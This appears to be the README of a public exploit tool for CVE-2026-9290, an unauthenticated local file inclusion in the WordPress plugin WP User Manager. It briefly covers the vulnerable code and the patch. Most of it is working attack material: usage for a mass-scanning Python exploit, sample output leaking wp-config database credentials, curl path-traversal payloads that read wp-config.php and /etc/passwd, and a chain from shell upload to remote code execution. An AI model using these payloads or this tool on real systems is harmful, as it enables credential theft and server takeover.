CVE-2026-9290 是 WordPress 插件 WP User Manager – User Profile Builder & Membership(≤ 2.9.17)中存在的一个高严重性(CVSS 7.5)未授权本地文件包含(LFI)漏洞。
wpum_get_active_profile_tab() 函数将 tab 查询参数直接传递给 Gamajo 模板加载器,未进行任何白名单校验。tab 值中的路径遍历序列使未授权攻击者能够通过 PHP 的 include() 包含服务器上的任意文件。
| WP User Manager 版本 | 状态 |
|---|---|
| ≤ 2.9.17 | 存在漏洞 |
| ≥ 2.9.18 | 已修复 |
在 includes/functions.php 中,wpum_get_active_profile_tab() 函数接收 tab 查询参数,但未进行白名单校验:
// Vulnerable: no whitelist check on $tab value
$tab = isset($_GET['tab']) ? sanitize_text_field($_GET['tab']) : 'profile';
wpum_get_active_profile_tab($tab);
该值被传递给 Gamajo_Template_Loader::get_template_part(),后者会解析并包含模板文件:
// class-gamajo-template-loader.php line 226
include($template_path . $tab . '.php');
sanitize_text_field() 不会过滤掉路径遍历序列,../../../wp-config 可以原样通过。
GET /profile/?tab=../../../wp-config
→ wpum_get_active_profile_tab('../../../wp-config')
→ Gamajo_Template_Loader::include('../../../wp-config.php')
→ wp-config.php included → DB credentials exposed
PR #445 添加了白名单校验:
// Patched: check against registered tabs
if (!array_key_exists($tab, $registered_tabs)) {
$tab = 'profile'; // fallback to default
}
git clone https://github.com/shinthink/CVE-2026-9290.git
cd CVE-2026-9290
pip install -r requirements.txt
# Single target — LFI probe
python cve_2026_9290.py -t target.com
# Mass scan
python cve_2026_9290.py -f targets.txt -v
# Read specific file via LFI
python cve_2026_9290.py -t target.com --read "../../../wp-config.php"
# Save results
python cve_2026_9290.py -f targets.txt -o lfi.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
--read PATH Read a specific file via LFI
-o, --output Save results to file
--threads Workers (default: 25)
-v, --verbose Show detailed output
$ python cve_2026_9290.py -t target.com -v
CVE-2026-9290 — WP User Manager LFI → RCE Exploit
CVSS 7.5 | Pre-Auth | Path Traversal via 'tab' Parameter
[+] WP User Manager detected
[+] Profile page: /profile/
[+] LFI confirmed: wp-config.php (DB credentials)
[+] Content preview: define('DB_NAME', 'wordpress_db'); define('DB_USER', 'admin');
Host : target.com
WPUM : YES
LFI : YES
File : wp-config.php (DB credentials)
Time : 3.2s
[LFI] target-1.com 3.2s wp-config.php (DB credentials)
define('DB_NAME', 'wp_db'); define('DB_USER', 'root');
[LFI] target-2.com 4.1s wp-config.php (DB credentials)
define('DB_NAME', 'site_db'); define('DB_USER', 'admin');
[200/5458] 3% | WPUM:12 LFI:5 | current-target.com
步骤 1 — 检测 WP User Manager
curl -sk 'https://target.com/wp-content/plugins/wp-user-manager/readme.txt' | head -3
步骤 2 — 查找个人资料页面
curl -sk 'https://target.com/' | grep -oP 'href="[^"]*(?:profile|account|dashboard)[^"]*"'
步骤 3 — 通过 tab 参数实现 LFI
# Read wp-config.php
curl -sk 'https://target.com/profile/?tab=../../../wp-config'
# Read /etc/passwd
curl -sk 'https://target.com/profile/?tab=../../../../../../../etc/passwd'
# RCE — include uploaded PHP shell
curl -sk 'https://target.com/profile/?tab=../../../wp-content/uploads/2026/07/shell'
1. LFI → read wp-config.php → get DB credentials
2. Upload PHP shell via another plugin/media endpoint
3. LFI → include uploaded shell → RCE
仅供教育和授权测试使用。
本软件面向执行授权渗透测试的安全专业人员、审计自身基础设施的组织以及研究漏洞利用的研究人员。
未经授权访问计算机系统属于违法行为,并可能触犯:
- 美国:《计算机欺诈和滥用法》(18 U.S.C. 1030)
- 印度尼西亚:UU ITE 第 30 条和第 46 条
- 欧盟:指令 2013/40/EU
- 英国:《计算机滥用法》1990
作者对因滥用造成的后果不承担任何责任。
| 资源 | 链接 |
|---|
本项目与 WP User Manager 或 Carbon Fields 无任何关联。
| 文件 | 行号 | 作用 |
|---|
includes/functions.php | #L955 | wpum_get_active_profile_tab() — 无白名单校验 |
templates/profile.php | #L52 | 个人资料模板作用域 |
class-gamajo-template-loader.php | #L226 | 未经过滤的 include() |
| GitHub 安全公告 | GHSA-83v9-496w-54wx |
| Wordfence 安全公告 | wordfence.com |
| 补丁 PR | GitHub #445 |
| IONIX 分析 | ionix.io |